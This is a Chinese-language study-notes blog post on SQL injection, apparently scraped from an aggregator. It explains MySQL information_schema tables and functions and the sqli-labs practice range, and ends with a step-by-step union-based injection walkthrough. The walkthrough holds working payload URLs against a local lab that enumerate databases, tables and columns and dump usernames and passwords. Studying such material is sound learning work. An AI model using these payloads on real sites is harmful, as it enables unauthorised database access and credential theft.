当前位置: 首页 > news >正文

SQL注入学习笔记

面试官一般问的问题:

        sql的注入点,注入语句,用过sqlmap吗,自动化注入工具的一些参数什么意思,过滤了关键词关键字你的绕过方案,sql注入的防御措施,在所有场景下都可以生效吗

        MySQL如何生成webshell:

        

数据库知识铺垫

mysql系统库以及怎么查询信息

        SQL注入中最常见利用的系统数据库,经常利用系统数据库配合union联合查询来获取数据库相关信息,因为系统数据库中所有信息都在这个数据库里面,比如所有数据库名、所有的表名、列名以及列名的数据库类型等 这里主要关注MYSQL系统数据库information_schema,关注系统数据库的表columns和schema表以及tables表

        SCHEMATA表:提供了关于数据库的信息

        COLUMNS表:给出了表中的列信息

        TABLES表:给出了关于数据库中的表的信息

  

下面接着看这三个表都有什么信息我们在SQL注入中可以用到的列。

  • 这个表里面存放的数据库信息,这个表里面最关键的就是schema_name列,这里面存放了所有数据库名称,查询这个列所有的值即可拿到所有数据库名,这里还有其他列名,如图

                查询这个表schema_name的值,即查询所有数据库名

  • columns表给出了所有表中的所有列信息,但是同时也包含了数据库名,所有表名,所有列名值对应列column_name,所有数据库名值对应列table_schema,所有表名值对应table_name列,当然此表还有其他列信息,如图,但是这里暂时只关注此三个列。

                同表schemata一样,查询columns表里面的table_schema列一样可以得到所有数据库名

                查询当前数据库所有列

                查询当前所有表名

  • tables表给出了所有表的信息,但是同时也包含了数据库名,所有表名,所有数据库名值对应列table_schema,所有表名值对应table_name列,当然此表还有其他表的信息,如图,但是这里暂时只关注此两个列

                同表columns以及schemata一样,查询tables表里面的table_schema列一样可以得到所有数据库名

                同columns表一样,从tables表里面的所有表名

假如你知道要注入的数据库是ctf,要查其中的表:

继续查询user表中的所有列:

mysql函数

SQL函数是在SQL注入中用的比较多的,经常利用SQL函数来判断数据库的版本,当前用户,当前用户权限以及数据库的安装路径等等,以下是常用的MYSQL函数:

  • user()用户名 

  • current_user()    当前用户名
  • database()      数据库名
  • version()          mysql数据库版本
  • @@datadir       数据库路径///可以用这个去猜网站路径

  • substr()   截取函数

从第一个字符截取,截取长度为1//////截取位置可以是负数,为倒叙截取

  • if()    判断语句

当第一个为真走中间,为假走第三个

  • mid()和substr()一样,但是mid三个参数都必须有,subtsr长度可以没有

  • ascii()        ASCII() 函数仅关注字符串的第一个字符,并返回该字符对应的 ASCII 编码值。ASCII 码是用于表示字符的标准编码

  • concat()   连接函数
  • group_concat()  将大量的查询连接成一行,又时回显信息只允许一行

sql靶场学习

靶场部署

第一步:

sqli-labs下载:https://github.com/Audi-1/sqli-labs

phpstudy下载地址:http://down.php.cn/PhpStudy20180211.zip

第二步:

解压放在phpstudy的www下

第三步:

进入

修改user和passwd

第四步:

点击安装

学习前的准备

数据库连接工具

表分为,用户表和管理员表

如何从用户表------>管理员表

union 两表联合查询,字段一致

mysql的注释符

单行:

--空格      --+   --%20

#

多行:

/* */

  • 1. http://127.0.0.1/sqli/Less-1/?id=1’     查看是否有注入
  • 2.   http://127.0.0.1/sqli/Less-1/?id=1‘ order by 3--+   查看有多少列
  • 3.  http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显
  • 4. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,database()--+  查看当前数据库
  • 5. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 4,1--+  查看数据库security,或者是:   http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库
  • 6. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的表
  • 7. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询列信息,或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 查看所有的列信息
  • 8. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+ 查询一个账号和密码,或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 直接可以得到所有的账号和密码,并且使用~符号进行分割。

http://www.dtcms.com/a/327723.html

相关文章:

  • 计算机网络1-7:第一章 概述 章节小结
  • 科普:增强细节真实感的“微弹跳”
  • 5-终端安全检测和防御技术
  • FPGA即插即用Verilog驱动系列——SPI发送模块
  • AV、IPS、WAF对比
  • 云手机网速和本机网速的关系
  • 解锁 Appium Inspector:移动端 UI 自动化定位的利器
  • 秋招笔记-8.12
  • STM32_bug总结(TIM定时中断进不去和只进1次)
  • 【Python 爬虫】Playwright 多浏览器支持(Chromium/Firefox/WebKit)
  • AI入门学习--AI模型评测
  • kali linux 2025.2安装WPS并设置无报错的详细步骤
  • 云计算概述
  • 卫生间装修防水怎么做合适?
  • 外卖:重构餐饮的线上服务密码
  • 串口通信“第二次总超时”的复盘
  • XC7A15T-1FTG256C Xilinx AMD Artix-7 FPGA
  • 后端找数据库
  • nvm install 14.21.3 时npm 无法下载和识别
  • 项目实例-页面
  • 股票智能体系统的设计与开发
  • VisualSVN Server 4.2.1 安装教程 - 64位下载与配置步骤详解
  • 【Docker项目实战】使用Docker部署Vikunja任务管理工具
  • 【C语言强化训练16天】--从基础到进阶的蜕变之旅:Day2
  • 嵌入式 - Linux软件编程:文件IO
  • 零售业CRM实战:如何打通线上线下客户数据?
  • Ansible 基本使用
  • UE官方文档学习 C++ TAarry 查询(三)Contain,Find函数的使用
  • Redis--day4--实战-黑马点评--搭建环境
  • WPS JS宏 通用方法整理汇总 实时更新